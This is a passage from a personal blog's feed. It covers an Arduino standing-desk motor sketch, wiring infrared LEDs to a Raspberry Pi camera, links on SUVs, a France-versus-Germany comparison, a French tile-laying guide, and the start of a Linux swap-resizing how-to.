&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;analogWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PWMA_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 255 is full speed&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;stop() called&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movingDirection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IDLE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STBY_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Waiting a bit, so that a long press of a button won&amp;#39;t stop and move it again immediately&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="result-the-v2-in-action"&gt;Result: the V2 in action!&lt;/h2&gt;
&lt;video controls&gt;
    &lt;source src="./videos/motorizing-an-ikea-skarsta-standing-desk-v2.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h1 id="other-tutorials"&gt;Other tutorials&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://cesarmoya.com/blog/motorizing-standup-desk/"&gt;http://cesarmoya.com/blog/motorizing-standup-desk/&lt;/a&gt;: says 2Nm is needed for torque&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aenniw/ARDUINO/tree/master/skarsta"&gt;https://github.com/aenniw/ARDUINO/tree/master/skarsta&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/flosommerfeld/ESP8266-IKEA-Skarsta-Trotten-Web-Dashboard"&gt;https://github.com/flosommerfeld/ESP8266-IKEA-Skarsta-Trotten-Web-Dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.instructables.com/Motorizing-an-IKEA-SKARSTA-Table/"&gt;https://www.instructables.com/Motorizing-an-IKEA-SKARSTA-Table/&lt;/a&gt;: they use an optional endstop to count how many rotations the motor does, thanks to some flag put on the shaft&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackcorrelation.blogspot.com/2015/09/ikea-skarsta-sitstanding-desk-hack.html"&gt;https://hackcorrelation.blogspot.com/2015/09/ikea-skarsta-sitstanding-desk-hack.html&lt;/a&gt;: says 2Nm is needed for torque&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="hacking"></category><category term="standing desk"></category><category term="diy"></category></entry><entry><title>Raspberry Pi NoIR camera module and IR LEDs</title><link href="https://romainpellerin.eu/raspberry-pi-noir-camera-module-and-ir-leds.html" rel="alternate"></link><published>2023-03-13T18:30:00+01:00</published><updated>2023-03-16T00:52:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-03-13:/raspberry-pi-noir-camera-module-and-ir-leds.html</id><summary type="html">&lt;p&gt;Seeing in the dark with the Raspberry Pi camera modules and some infrared LEDs&lt;/p&gt;</summary><content type="html">&lt;p&gt;Lately I've been looking into adding infrared LEDs to my Raspberry Pi, as I just purchased the latest &lt;a href="https://www.raspberrypi.com/products/camera-module-3/"&gt;camera module v3&lt;/a&gt;, in its NoIR (no infrared filter) edition.&lt;/p&gt;
&lt;h1 id="basic-knowledge-required"&gt;Basic knowledge required&lt;/h1&gt;
&lt;p&gt;Physics courses in high school took place like forever ago, I basically remembered nothing. So I had to dig it up a little bit and study basics again (Ohm's law for instance 😅).&lt;/p&gt;
&lt;h2 id="raspberry-pi"&gt;Raspberry Pi&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It has 2 pins that output 5V, 2 pins that output 3.3V, a few "ground" pins, and the rest are GPIO pins, that can output 3.3V and are controllable.&lt;/li&gt;
&lt;li&gt;The Raspberry Pi can only supply a small current (about 60mA). The LEDs will want to draw more, and if allowed to they will burn out the Raspberry Pi. That's why we'll need to use a resistor. As a rule of thumb, any resistor equal or greater than 50Ω (Ohm) should suffice for one or more LEDs in series plugged on a 3.3V GPIO pin. More on that down below.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="multimeter"&gt;Multimeter&lt;/h2&gt;
&lt;p&gt;A tool to measure various things. The "A" (Ampere meter) plug acts as a closed circuit, so never put the test leads into the home sockets! The "V" (Voltmeter) plug acts as an open circuit.&lt;/p&gt;
&lt;h2 id="leds"&gt;LEDS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The anode is the long leg of a LED, where you connect the +. The cathode is the - (on the side where the diode has a flat).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extracts from &lt;a href="https://electronics.stackexchange.com/questions/10962/what-is-forward-and-reverse-voltage-when-working-with-diodes"&gt;stackoverflow.com&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;forward voltage&lt;/strong&gt; is the voltage drop across the diode if the voltage at the anode is more positive than the voltage at the cathode (if you connect + to the anode).&lt;br&gt;
You will be using this value to calculate the power dissipation of the diode and the voltage after the diode.&lt;br&gt;
The &lt;strong&gt;reverse voltage&lt;/strong&gt; is the voltage drop across the diode if the voltage at the cathode is more positive than the voltage at the anode (if you connect + to the cathode).&lt;br&gt;
This is usually much higher than the forward voltage. As with forward voltage, a current will flow if the connected voltage exceeds this value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To paraphrase the last sentence, the forward voltage (&lt;em&gt;tension de seuil&lt;/em&gt; in French) is the minimum amount of volts needed to light up a LED. If you connect the anode to the - and supply more volts than the reverse voltage, you'll burn the LED out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;"Forward voltage" and "voltage drop", two pieces of information usually found in LED specs, are &lt;a href="https://forum.arduino.cc/t/forward-voltage-vs-voltage-drop/634711"&gt;almost interchangeable words&lt;/a&gt;. The "voltage drop" is the "forward voltage" at the specified current (amperage, &lt;em&gt;intensité&lt;/em&gt; in French). If you increase the current (amperage), you'll increase the "voltage drop". That voltage drop varies depending on the current (amperage) and on the color of the LED, higher voltage = higher current (amperage). See the image further down below.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Other extracts from &lt;a href="https://electronics.stackexchange.com/questions/256336/does-led-brightness-change-with-voltage"&gt;stackoverflow&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;With an LED it's the amount of current flowing through it that determines how bright it is. Increasing the voltage increases the current, yes, but the region where that happens without the current getting too much is very small.&lt;br&gt;
So we control the current instead of the voltage, and take the forward voltage as a fixed value. By either including a resistor in the circuit to fill the gap between the supply voltage and the forward voltage, limiting the current in the process [...]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class="center"&gt;&lt;img alt="LED: amperage and voltage" src="https://romainpellerin.eu/images/led.png" /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extracts from &lt;a href="https://www.ledsupply.com/blog/wiring-leds-correctly-series-parallel-circuits-explained/"&gt;LEDsupply.com&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Running a series circuit helps to provide the same amount of current to each LED. This means each LED in the circuit will be the same brightness and will not allow a single LED to hog more current than another.&lt;br&gt;
“The total voltage of the circuit is the sum of the voltages across each LED”. This means you have to supply, at minimum, the sum of the forward voltages of each LED.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So if my series circuit, connected to the GPIO pins of my Raspberry Pi, supplies 3.3V, and I plug in 2 LEDS whose forward voltage is 1.5V, there will be 3V "consummed" and 0.3V "remaining".&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extracts from &lt;a href="http://www.learningaboutelectronics.com/"&gt;LearningaboutElectronics.com&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Continuous Forward Current specification of an LED serves to tell you the maximum current that an LED can be fed continuously without being damaged or destroyed.&lt;br&gt;
The Peak Forward Current, IF(peak), specification of an LED serves to tell you the maximum current that an LED can be fed without being damaged or destroyed. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="resistor-needed"&gt;Resistor needed&lt;/h3&gt;
&lt;p&gt;As seen above, with 2 LEDs in series, each with a forward voltage of 1.5V for 20mA, plugged on a GPIO pin supplying 3.3V, we need a resistor as follow:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;I = V/R
IF = (VS - VF) / R
# IF = forward current, VS = supplied voltage, VF = forward voltage
0.020 = (3.3 - 1.5 - 1.5) / R
R = (3.3 - 1.5 - 1.5) / 0.020 = 15 Ω
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note that, if we shift our target amps from 20 to say 40mA to allow the LEDs to draw more current, their forward voltage will increase. Check the specs to know how much. &lt;strong&gt;Never aim higher than 60mA, as it's the maximum the Raspberry Pi can deliver.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now if we have just one LED and aim for maximum current (60mA):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;R = (3.3 - 1.5) / 0.060 = 30 Ω
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's why in the beginning of the article I wrote that 50 Ω is safe for almost all scenarios. 1.5V is among the lowest voltage values drawn by LEDs, since infrared LEDs are those that need the least. For a different color (blue for instance), the computation would most likely look like this, depending on the actual specs of course:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;R = (3.3 - 2.5) / 0.060 = 13.3 Ω
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="what-i-ended-up-doing"&gt;What I ended up doing&lt;/h1&gt;
&lt;p&gt;In the end, I bought two &lt;a href="https://www.reichelt.de/de/en/ir-led-black-40-5-mm-sfh-4546-p146652.html"&gt;1.5V 5mm IR LEDs&lt;/a&gt; and a &lt;a href="https://www.reichelt.de/de/en/carbon-film-resistor-1-4-w-5-6-8-ohms-1-4w-6-8-p1452.html"&gt;6.8 Ohm resistor&lt;/a&gt;, that I soldered all together. The result is pretty nice, and it's working like a charm. By connecting it to a regular GPIO pin, I can programmatically turn it on and off.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/raspberry-pi-noir-camera-module-and-ir-leds/ir-led-and-resistor.jpg" alt="A Raspberry Pi with two LEDs and a resistor" /&gt;
&lt;figcaption&gt;Before soldering&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/raspberry-pi-noir-camera-module-and-ir-leds/ir-led-and-resistor-soldered.jpg" alt="Two LEDs and a resistor soldered" /&gt;
&lt;figcaption&gt;After soldering&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Note that the LEDs I bought have a wavelength of 940 nm. I believe the camera with embedded LEDs I had before was 850 nm. 850 nm is visible by the human eye (dim red) while 940 is not at all. 940 also appears less bright on video than 850, from my experience, in pitch dark.&lt;/p&gt;
&lt;h1 id="others-who-did-it-before-me"&gt;Others who did it before me&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://community.element14.com/products/raspberry-pi/raspberrypi_projects/b/blog/posts/testing-pi-noir-with-ir-leds"&gt;Testing Pi NoIR with IR LEDs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Computers"></category><category term="raspberry pi"></category><category term="camera"></category></entry><entry><title>SUVs</title><link href="https://romainpellerin.eu/suvs.html" rel="alternate"></link><published>2023-02-22T15:30:00+01:00</published><updated>2025-04-09T09:59:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-02-22:/suvs.html</id><summary type="html">&lt;p&gt;Facts on SUVs&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://agirpourlatransition.ademe.fr/particuliers/bureau/deplacements/modifier-trafic-routier-necessite-ameliorer-qualite-lair"&gt;Modifier le trafic routier : une nécessité pour améliorer la qualité de l’air&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.futura-sciences.com/tech/breves/voiture-suv-polluent-davantage-berlines-jusqua-plus-200-g-km-emissions-co2-4521/"&gt;Les SUV polluent davantage que les berlines : jusqu'à plus de 200 g/km d’émissions de CO2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.autoplus.fr/pratique/securite-routiere/les-suv-2-a-3-fois-plus-dangereux-pour-les-pietons-347595.html"&gt;Les SUV 2 à 3 fois plus dangereux pour les piétons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://anticiper.org/transition/le-suv-cible-de-toutes-les-critiques.php"&gt;Le SUV, un format de véhicule cible de toutes les critiques&lt;/a&gt; (&lt;a href="https://romainpellerin.eu/extra/suvs.pdf"&gt;backup here&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/environment/2023/feb/23/health-impact-tyre-particles-increasing-concern-air-pollution"&gt;Health impact of tyre particles causing ‘increasing concern’, say scientists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.forbes.com/sites/carltonreid/2020/09/18/motorists-break-law-to-save-time-cyclists-break-law-to-save-lives-finds-study/"&gt;Motorists Break Law To Save Time, Cyclists Break Law To Save Lives, Finds Study&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=CVq7XOXkg1U"&gt;Everything You Thought You Knew About Roads Is A Lie&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="suv"></category><category term="cars"></category></entry><entry><title>France vs Germany</title><link href="https://romainpellerin.eu/france-vs-germany.html" rel="alternate"></link><published>2023-02-01T12:00:00+01:00</published><updated>2025-01-19T14:25:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-02-01:/france-vs-germany.html</id><summary type="html">&lt;p&gt;What each country does better than the other&lt;/p&gt;</summary><content type="html">&lt;h1 id="france-is-better-at"&gt;France is better at...&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pensions&lt;/strong&gt; are much higher (2/3 of your last payrol in France on average, compared to 1/3 in Germany)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Healthcare system&lt;/strong&gt;: although comparable, in Germany one has to pay out of their own pocket for healthcare insurance when unemployed. Also, the whole public/private insurances make doctors more business men than heathcare professional sometimes. For example it's easier to get an appointment at an earlier date, or easier to get an appointment at a doctor never visited before if you are privately insured.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Worked hours&lt;/strong&gt;: typically 40 hours in Germany. In France, the legal workweek is 35 hours, but most people work more and &lt;a href="https://www.service-public.fr/particuliers/vosdroits/F34151"&gt;get paid for these extra hours&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Paid vacation&lt;/strong&gt;: minimum 20 days in Germany by law, vs 25 in France&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trains&lt;/strong&gt;: although the SNCF is far from perfect, its trains are by an order of magniture more punctual (&lt;a href="https://www.thelocal.de/20220727/opinion-the-shocking-state-of-german-trains-exposes-the-myth-about-punctuality"&gt;1&lt;/a&gt;, &lt;a href="https://www.arte.tv/de/videos/107194-015-A/re-chaos-auf-der-schiene/"&gt;2&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="germany-is-better-at"&gt;Germany is better at...&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Public holidays&lt;/strong&gt;: overall, it's comparable to France. However, some specific days are particulariy appreciated: half of December 24, December 26, and half of December 31 are holidays in Germany&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Safety&lt;/strong&gt;: big cities are much safer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cycling&lt;/strong&gt;: cyclists are respected by drivers. Also, cycling lanes are found everywhere outside of cities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Saunas&lt;/strong&gt;: the German sauna culture is simply the best in the world! Aufguss ❤️&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="france"></category><category term="germany"></category></entry><entry><title>Comment poser du carrelage sur un sol en PVC (Vinyl) ?</title><link href="https://romainpellerin.eu/comment-poser-du-carrelage-sur-un-sol-en-pvc-vinyl.html" rel="alternate"></link><published>2022-12-18T23:54:00+01:00</published><updated>2023-02-04T15:02:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-12-18:/comment-poser-du-carrelage-sur-un-sol-en-pvc-vinyl.html</id><summary type="html">&lt;p&gt;Une vidéo tuto sur la pose de carrelage, réalisée lors de la rénovation de ma cuisine&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/zeI_LrrwhiU?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="materiel"&gt;MATÉRIEL&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Un mètre à mesurer&lt;/li&gt;
&lt;li&gt;Règle métallique de 2 m de long&lt;/li&gt;
&lt;li&gt;Niveau à bulle&lt;/li&gt;
&lt;li&gt;Aspirateur&lt;/li&gt;
&lt;li&gt;Grand seau (20 L)&lt;/li&gt;
&lt;li&gt;Visseuse puissante&lt;/li&gt;
&lt;li&gt;Malaxeur pour la colle (à utiliser avec la visseuse)&lt;/li&gt;
&lt;li&gt;Meuleuse et disque de diamant pour carrelage&lt;/li&gt;
&lt;li&gt;Lunettes de protection&lt;/li&gt;
&lt;li&gt;Gants&lt;/li&gt;
&lt;li&gt;Cristaux de soude&lt;/li&gt;
&lt;li&gt;Serpillère&lt;/li&gt;
&lt;li&gt;Croisillons en T de 5 mm, croisillons auto nivelants, croisillons de 2,5 mm pour le dessous des plinthes&lt;/li&gt;
&lt;li&gt;Rouleau poils mi-longs et perche pour le primaire d'accrochage&lt;/li&gt;
&lt;li&gt;Truelle&lt;/li&gt;
&lt;li&gt;Truelle dentée avec dents de 10 ou 12mm&lt;/li&gt;
&lt;li&gt;Spatule fine (3-4 cm de largeur) pour aplanir la colle au bords des carreaux&lt;/li&gt;
&lt;li&gt;Cutter&lt;/li&gt;
&lt;li&gt;Carrelette suffisamment grande&lt;/li&gt;
&lt;li&gt;Grosse éponge avec manche&lt;/li&gt;
&lt;li&gt;Taloche à joint (le dessous doit être en caoutchouc)&lt;/li&gt;
&lt;li&gt;Mastic pour reboucher les trous&lt;/li&gt;
&lt;li&gt;Primaire d'accrochage monocomposant&lt;/li&gt;
&lt;li&gt;Mortier-colle (de type C2 ou C2S1 - ne pas prendre de prise rapide !) - types de colle expliqués &lt;a href="https://www.youtube.com/watch?v=kuEwnMrb_EA"&gt;ici&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Carrelage et plinthes (prévoir 10% de perte)&lt;/li&gt;
&lt;li&gt;Joint&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="liens-utiles"&gt;LIENS UTILES&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bricolage.linternaute.com/forum/affich-34007-comment-poser-du-carrelage-sur-du-lino"&gt;https://bricolage.linternaute.com/forum/affich-34007-comment-poser-du-carrelage-sur-du-lino&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://carrelage.ooreka.fr/qr/voir/80665/comment-poser-du-carrelage-sur-du-lino"&gt;https://carrelage.ooreka.fr/qr/voir/80665/comment-poser-du-carrelage-sur-du-lino&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cotemaison.fr/cuisine/cuisine-remplacer-un-sol-pvc-par-un-carrelage_19356.html"&gt;https://www.cotemaison.fr/cuisine/cuisine-remplacer-un-sol-pvc-par-un-carrelage_19356.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fr.weber/pose-du-carrelage/poser-du-carrelage-sur-un-ancien-revetement-de-sol-interieur"&gt;https://www.fr.weber/pose-du-carrelage/poser-du-carrelage-sur-un-ancien-revetement-de-sol-interieur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fr.weber/poser-un-carrelage-sur-un-ancien-carrelage-au-sol"&gt;https://www.fr.weber/poser-un-carrelage-sur-un-ancien-carrelage-au-sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fr.weber/preparation-et-finition-des-sols/poser-un-nouveau-revetement-de-sol-sur-lancien"&gt;https://www.fr.weber/preparation-et-finition-des-sols/poser-un-nouveau-revetement-de-sol-sur-lancien&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fr.weber/weberprim-universel-le-primaire-rapide-tous-supports"&gt;https://www.fr.weber/weberprim-universel-le-primaire-rapide-tous-supports&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.leroymerlin.fr/campus/sol-parquet-et-carrelage/comment-poser-des-plinthes-en-carrelage.html"&gt;https://www.leroymerlin.fr/campus/sol-parquet-et-carrelage/comment-poser-des-plinthes-en-carrelage.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=61DpebDYTNM"&gt;https://www.youtube.com/watch?v=61DpebDYTNM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=6OZ3t0nWX0E"&gt;https://www.youtube.com/watch?v=6OZ3t0nWX0E&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=9esHDkWyQNg"&gt;https://www.youtube.com/watch?v=9esHDkWyQNg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=DXW2J4JtseM"&gt;https://www.youtube.com/watch?v=DXW2J4JtseM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=EBdLnI17atM"&gt;https://www.youtube.com/watch?v=EBdLnI17atM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=eO7YkiKW3jQ"&gt;https://www.youtube.com/watch?v=eO7YkiKW3jQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=h64EjPyf6ys"&gt;https://www.youtube.com/watch?v=h64EjPyf6ys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=INGyJutlXuc"&gt;https://www.youtube.com/watch?v=INGyJutlXuc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ioiLhD16Thk"&gt;https://www.youtube.com/watch?v=ioiLhD16Thk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=pdyOHggDFlY"&gt;https://www.youtube.com/watch?v=pdyOHggDFlY&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=qS5Ve0LPWYI"&gt;https://www.youtube.com/watch?v=qS5Ve0LPWYI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=uDDJqexOjEI"&gt;https://www.youtube.com/watch?v=uDDJqexOjEI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=y5LGtCKQR3w"&gt;https://www.youtube.com/watch?v=y5LGtCKQR3w&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=yAXMN8BUJQc"&gt;https://www.youtube.com/watch?v=yAXMN8BUJQc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Yqa_imdSJ4Q"&gt;https://www.youtube.com/watch?v=Yqa_imdSJ4Q&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=YrH26kd-j4c"&gt;https://www.youtube.com/watch?v=YrH26kd-j4c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=zqp9tNVDCUs"&gt;https://www.youtube.com/watch?v=zqp9tNVDCUs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="carrelage"></category><category term="bricolage"></category></entry><entry><title>How to resize an encrypted SWAP partition (LVM)</title><link href="https://romainpellerin.eu/how-to-resize-an-encrypted-swap-partition-lvm.html" rel="alternate"></link><published>2022-07-29T19:00:00+02:00</published><updated>2024-11-23T16:47:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-07-29:/how-to-resize-an-encrypted-swap-partition-lvm.html</id><summary type="html">&lt;p&gt;A few commands to resize a SWAP partition&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just because I am afraid &lt;a href="https://askubuntu.com/a/1412311"&gt;this page&lt;/a&gt; might some day get deleted, I am copy pasting here the answer, which was very useful to me, when I needed to increase the size of the SWAP partition of my freshly installed Xubuntu 22.04, after I selected the "encrypted LVM partition" option in the install wizard. I am adding some commands and missing bits of information too.&lt;/p&gt;
&lt;p&gt;Before doing anything, check what swap you have: &lt;code&gt;swapon -s&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Scroll all the way down if you do not currently have any SWAP partition nor SWAP file, and need to add one.&lt;/p&gt;
&lt;h1 id="creating-a-new-swap-file-of-8g"&gt;Creating a new SWAP file of 8G&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/zero &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/swapfile.img &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;8M
mkswap /swapfile.img

&lt;span class="c1"&gt;# Add this line to `/etc/fstab` and reboot&lt;/span&gt;
/swapfile.img none swap sw &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="increasing-the-size-of-a-swap-partition"&gt;Increasing the size of a SWAP partition&lt;/h1&gt;
&lt;p&gt;Before increasing the size, you need to decrease the size of its neighboring root volume, as the sum of both LVM volumes myst be equal to the capacity of the disk. Here, we add another 15G to the existing SWAP partition.&lt;/p&gt;
&lt;p&gt;First, open a terminal and check what your LVM disk currently looks like, running &lt;code&gt;lsblk&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsblk
&lt;span class="c1"&gt;# sda                      8:0    0 238,5G  0 disk&lt;/span&gt;
